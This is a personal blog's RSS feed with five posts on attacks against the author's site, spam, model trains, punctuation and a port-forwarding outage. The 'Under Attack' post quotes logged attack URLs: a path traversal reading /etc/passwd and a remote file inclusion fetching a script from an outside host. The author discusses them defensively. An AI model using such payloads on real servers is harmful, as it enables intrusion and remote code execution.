<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ramblings of Narc &#187; Odds and Ends</title>
	<atom:link href="http://wp.narc.ro/category/personal/odds-and-ends/feed" rel="self" type="application/rss+xml" />
	<link>http://wp.narc.ro</link>
	<description>When the issue isn&#039;t confused enough.</description>
	<lastBuildDate>Sun, 26 Jun 2011 20:10:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Under Attack</title>
		<link>http://wp.narc.ro/2009/02/under-attack</link>
		<comments>http://wp.narc.ro/2009/02/under-attack#comments</comments>
		<pubDate>Thu, 05 Feb 2009 18:40:59 +0000</pubDate>
		<dc:creator>Narc</dc:creator>
				<category><![CDATA[Odds and Ends]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://wp.narc.ro/?p=237</guid>
		<description><![CDATA[(or, having fun with a public-facing Internet presence) So, since I upgraded the main narc.ro site, I got a custom 404 handler in the bargain &#8212; one that emails me whenever it&#8217;s hit. Okay, so it initially sent 500 Internal Server Error, but I&#8217;ve fixed that part. Anyway, the result of this is that I [...]]]></description>
			<content:encoded><![CDATA[<p>(or, having fun with a public-facing Internet presence)</p>
<p>So, since <a href="http://identi.ca/notice/1853764">I upgraded</a> <a href="http://narc.ro/">the main narc.ro site</a>, I got <a href="http://narc.ro/404me">a custom 404 handler</a> in the bargain &#8212; one that emails me whenever it&#8217;s hit. Okay, so it initially sent 500 Internal Server Error, but I&#8217;ve fixed that part.</p>
<p>Anyway, the result of this is that I get a whole bunch of very fun emails when people try to hit pages on narc.ro that don&#8217;t exist, such as:</p>
<ul>
<li>http://www.narc.ro//gazelle/?template=../../../../../../../../../../../../../etc/passwd%00</li>
<li>http://86.104.40.152/roundcube//bin/msgimport</li>
<li>http://www.narc.ro/gazelle/?template=http://madrigaldelavera.es/joomla/mambots/editors/idit.txt%3f%3f</li>
</ul>
<p>I hope I don&#8217;t have to tell you not to visit those links &#8212; they don&#8217;t do anything (except email me, which is annoying).</p>
<p>I&#8217;m particularly interested in the first on that list, which is also the most recent. The theoretical narc.ro/gazelle path would have been /opt/www/vhosts/www.narc.ro/htdocs/gazelle. Let&#8217;s count the ../es in the path our attacker tried &#8212; 13 of them. More than enough to get out of the 6-level deep path and into /. And I probably don&#8217;t have to tell you that /etc/passwd is a file you really want to guard pretty well &#8212; it has all your users in it (/etc/shadow has the hashed passwords, too, but that one&#8217;s protected so an ordinary user (or the apache user) would be unable to read it).</p>
<p>So, what protected me, in this case? Firstly, it was the fortunate fact that the script the attacker was trying to hit doesn&#8217;t exist; and second, that wherever I have scripts that are able to take user input for a path (for instance, img.narc.ro works like that), I&#8217;ve been careful to put in protection against relative path inputs like that one. <a href="http://img.narc.ro/../">http://img.narc.ro/../</a> just won&#8217;t work.</p>
<p>This is a semi-adequate level of protection for me, since I write my own scripts &#8212; I don&#8217;t have to worry about any mistakes made by anyone other than myself, and I&#8217;m pretty careful around this stuff.</p>
<p>But note that I am some random corner of the Internet almost nobody knows about, and I&#8217;m still getting attacked. That means no matter who you are, if you&#8217;re serving Web content, you <strong>must</strong> take precautions. And even if you&#8217;re the only developer on the system, you should still do your best to contain the threat. <a href="http://www.google.com/search?q=defense%20in%20depth">Defense in depth</a> should be your key phrase. That&#8217;s why I&#8217;m currently looking into mod_chroot for my Apache2 installation. Your solution may be different, but <strong>have one</strong>, or at the very least, be aware that you <em>will</em> be attacked, and have some plan to recover from that if, or when, an attack is successful.</p>
]]></content:encoded>
			<wfw:commentRss>http://wp.narc.ro/2009/02/under-attack/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spam Break?</title>
		<link>http://wp.narc.ro/2009/01/spam-break</link>
		<comments>http://wp.narc.ro/2009/01/spam-break#comments</comments>
		<pubDate>Fri, 02 Jan 2009 05:42:31 +0000</pubDate>
		<dc:creator>Narc</dc:creator>
				<category><![CDATA[Odds and Ends]]></category>
		<category><![CDATA[Quickies]]></category>

		<guid isPermaLink="false">http://wp.narc.ro/?p=104</guid>
		<description><![CDATA[Apparently, spammers&#8217; botnets didn&#8217;t work very hard over this holiday season &#8212; I only got two spam emails between the 25th and today. Quite interesting.]]></description>
			<content:encoded><![CDATA[<p>Apparently, spammers&#8217; botnets didn&#8217;t work very hard over this holiday season &#8212; I only got two spam emails between the 25th and today. Quite interesting.</p>
]]></content:encoded>
			<wfw:commentRss>http://wp.narc.ro/2009/01/spam-break/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TRAINing Around</title>
		<link>http://wp.narc.ro/2008/08/training-around</link>
		<comments>http://wp.narc.ro/2008/08/training-around#comments</comments>
		<pubDate>Mon, 25 Aug 2008 19:16:35 +0000</pubDate>
		<dc:creator>Narc</dc:creator>
				<category><![CDATA[Fun Stuff]]></category>
		<category><![CDATA[Odds and Ends]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://wp.narc.ro/?p=60</guid>
		<description><![CDATA[I've been promising pictures of my small collection of H0 scale trains for a while now, so here come some pictures (click the pictures for larger versions):


<a href="http://img.narc.ro/trains/2008-08-25-01.jpg"><img src="http://img.narc.ro/trains/2008-08-25-01_t.jpg" width="600px" height="450px" /></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been promising pictures of my small collection of H0 scale trains for a while now, so here come some pictures (click the pictures for larger versions):</p>
<p><a href="http://img.narc.ro/trains/2008-08-25-01.jpg"><img src="http://img.narc.ro/trains/2008-08-25-01_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-02.jpg"><img src="http://img.narc.ro/trains/2008-08-25-02_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-03.jpg"><img src="http://img.narc.ro/trains/2008-08-25-03_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-04.jpg"><img src="http://img.narc.ro/trains/2008-08-25-04_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-05.jpg"><img src="http://img.narc.ro/trains/2008-08-25-05_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-06.jpg"><img src="http://img.narc.ro/trains/2008-08-25-06_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-07.jpg"><img src="http://img.narc.ro/trains/2008-08-25-07_t.jpg" width="600px" height="450px" /></a></p>
<p><a href="http://img.narc.ro/trains/2008-08-25-08.jpg"><img src="http://img.narc.ro/trains/2008-08-25-08_t.jpg" width="600px" height="450px" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://wp.narc.ro/2008/08/training-around/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Things to say to bad Internet users</title>
		<link>http://wp.narc.ro/2008/03/things-to-say-to-bad-internet-users</link>
		<comments>http://wp.narc.ro/2008/03/things-to-say-to-bad-internet-users#comments</comments>
		<pubDate>Sat, 15 Mar 2008 03:09:14 +0000</pubDate>
		<dc:creator>Narc</dc:creator>
				<category><![CDATA[Odds and Ends]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://wp.narc.ro/2008/03/things-to-say-to-bad-internet-users</guid>
		<description><![CDATA[I get really irritated by people who write every paragraph as one single very very long sentence that looks like they&#8217;re on crack and really can&#8217;t stop typing because if they did they would get taken away by the IRS man and then be forced to stare at a wall for 15 hours a day [...]]]></description>
			<content:encoded><![CDATA[<p>I get really irritated by people who write every paragraph as one single very very long sentence that looks like they&#8217;re on crack and really can&#8217;t stop typing because if they did they would get taken away by the IRS man and then be forced to stare at a wall for 15 hours a day and the wall would stare back &#8217;cause there&#8217;s mini-micro-cameras in the walls that feed to a <b>huge</b> wall-sized TV that everybody in the local town square looks at. <i>*takes a deep breath*</i></p>
<p>For the girls among them, I finally have something to say: &#8220;You can&#8217;t be female, you have <b>no periods</b>!&#8221; Evidently, this can work similarly on a male (&#8220;You must be a guy [...]&#8220;).</p>
<p>I&#8217;m very amused by what that says about me&#8230; does it make me seem female? <img src='http://wp.narc.ro/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>On a more serious side-note, what irritates me about people who spell and punctuate badly is that I tend to be chameleonic, in that I pick up other people&#8217;s accents and such, and I&#8217;m terribly afraid of ending up with their bad spelling. And grammar. And punctuation. Which is why correcting them is therapeutic for me. So, um&#8230; anyone need a copy editor?</p>
]]></content:encoded>
			<wfw:commentRss>http://wp.narc.ro/2008/03/things-to-say-to-bad-internet-users/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lost port forward?</title>
		<link>http://wp.narc.ro/2007/10/lost-port-forward</link>
		<comments>http://wp.narc.ro/2007/10/lost-port-forward#comments</comments>
		<pubDate>Wed, 31 Oct 2007 00:32:41 +0000</pubDate>
		<dc:creator>Narc</dc:creator>
				<category><![CDATA[Odds and Ends]]></category>

		<guid isPermaLink="false">http://narc.ro/tmp/wp/2007/10/lost-port-forward</guid>
		<description><![CDATA[Looks like Starfleet stopped forwarding port 25 at some point very recently. I wish I could say what went wrong, but I have no clue. The other forwards (like port 80) still worked, so everything was nice and accessible&#8230; except for SMTP. Except for *my e-mail*! I noticed it had been up for 27 days. [...]]]></description>
			<content:encoded><![CDATA[<p>Looks like Starfleet stopped forwarding port 25 at some point very recently. I wish I could say what went wrong, but I have no clue. The other forwards (like port 80) still worked, so everything was nice and accessible&#8230; except for SMTP. Except for *my e-mail*!</p>
<p>I noticed it had been up for 27 days. So I rebooted it. Let&#8217;s see if that solved the issue&#8230;</p>
<p><b>Update</b>: Okay, now I&#8217;m pissed. That didn&#8217;t solve anything. Let&#8217;s try rebooting Hermes&#8230;</p>
<p><b>Update 2</b>: Well, at this point, I&#8217;ve rebooted everything, and I&#8217;m pretty sure the problem&#8217;s not on my end. I guess I&#8217;m gonna have to ask around later. Or, you know, it might actually be working, heck if I know. It&#8217;s times like these I wish I had a host outside my immediate network to use for a nice telnet. Not too far outside my network, though. For far outside my network I have the Canadian folks&#8217; servers (though I probably shouldn&#8217;t be using them).</p>
<p><b>Update 3</b>: It started working again after about 24 hours. No explanation for what went wrong. *shrug*</p>
]]></content:encoded>
			<wfw:commentRss>http://wp.narc.ro/2007/10/lost-port-forward/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

